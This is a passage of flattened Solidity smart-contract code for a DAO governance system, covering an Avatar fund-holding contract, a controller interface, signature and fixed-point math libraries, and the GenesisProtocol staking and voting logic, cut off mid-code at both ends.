require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
pragma solidity ^0.5.4;
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call.value(_value)(_data);
emit GenericCall(_contract, _data, _value, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
}
pragma solidity ^0.5.4;
contract UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
pragma solidity ^0.5.4;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
pragma solidity ^0.5.4;
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function metaData(string calldata _metaData, Avatar _avatar) external returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
pragma solidity ^0.5.4;
contract UniversalScheme is UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
pragma solidity ^0.5.2;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
return (address(0));
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
return ecrecover(hash, v, r, s);
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.4;
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
if (tempExponent != 0) {
tempRealBase = mul(tempRealBase, tempRealBase);
}
}
return realResult;
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
uint256 res = realA * realB;
require(res/realA == realB, "RealMath mul overflow");
return (res >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
pragma solidity ^0.5.4;
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
pragma solidity ^0.5.2;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint256;
using Math for uint256;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 expirationCallBountyPercentage;
uint[3] times;
bool daoRedeemItsWinnings;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
event ConfidenceLevelChange(bytes32 indexed _proposalId, uint256 _confidenceThreshold);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
if (daoBounty < parameters[_paramsHash].minimumDaoBounty) {
proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty;
} else {
proposal.daoBountyRemain = daoBounty;
}
proposal.totalStakes = proposal.daoBountyRemain;
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted || proposal.state == ProposalState.QuietEndingPeriod,
"proposal state in not Boosted nor QuietEndingPeriod");
require(_execute(_proposalId), "proposal need to expire");
uint256 expirationCallBountyPercentage =
(uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15)));
if (expirationCallBountyPercentage > 100) {
expirationCallBountyPercentage = 100;
}
proposal.expirationCallBountyPercentage = expirationCallBountyPercentage;
expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
Staker storage staker = proposal.stakers[_beneficiary];
uint256 totalStakes = proposal.stakes[NO].add(proposal.stakes[YES]);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
if (staker.amount > 0) {
uint256 totalStakesLeftAfterCallBounty =
totalStakes.sub(proposal.expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100));
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
if (staker.vote == YES) {
if (proposal.daoBounty < totalStakesLeftAfterCallBounty) {
uint256 _totalStakes = totalStakesLeftAfterCallBounty.sub(proposal.daoBounty);
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
}
} else {
rewards[0] = (staker.amount.mul(totalStakesLeftAfterCallBounty))/totalWinningStakes;
}
}
staker.amount = 0;
}
if (proposal.daoRedeemItsWinnings == false &&
_beneficiary == organizations[proposal.organizationId] &&
proposal.state != ProposalState.ExpiredInQueue &&
proposal.winningVote == NO) {
rewards[0] =
rewards[0].add((proposal.daoBounty.mul(totalStakes))/totalWinningStakes).sub(proposal.daoBounty);
proposal.daoRedeemItsWinnings = true;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/proposal.preBoostedVotes[proposal.winningVote]);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if (_score(_proposalId) > confidenceThreshold) {
if (orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
proposal.state = ProposalState.Queued;
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
emit ConfidenceLevelChange(_proposalId, confidenceThreshold);
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return uint216(proposal.stakes[YES]).fraction(uint216(proposal.stakes[NO]));
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
pragma solidity ^0.5.4;
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine");
_;
}
mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
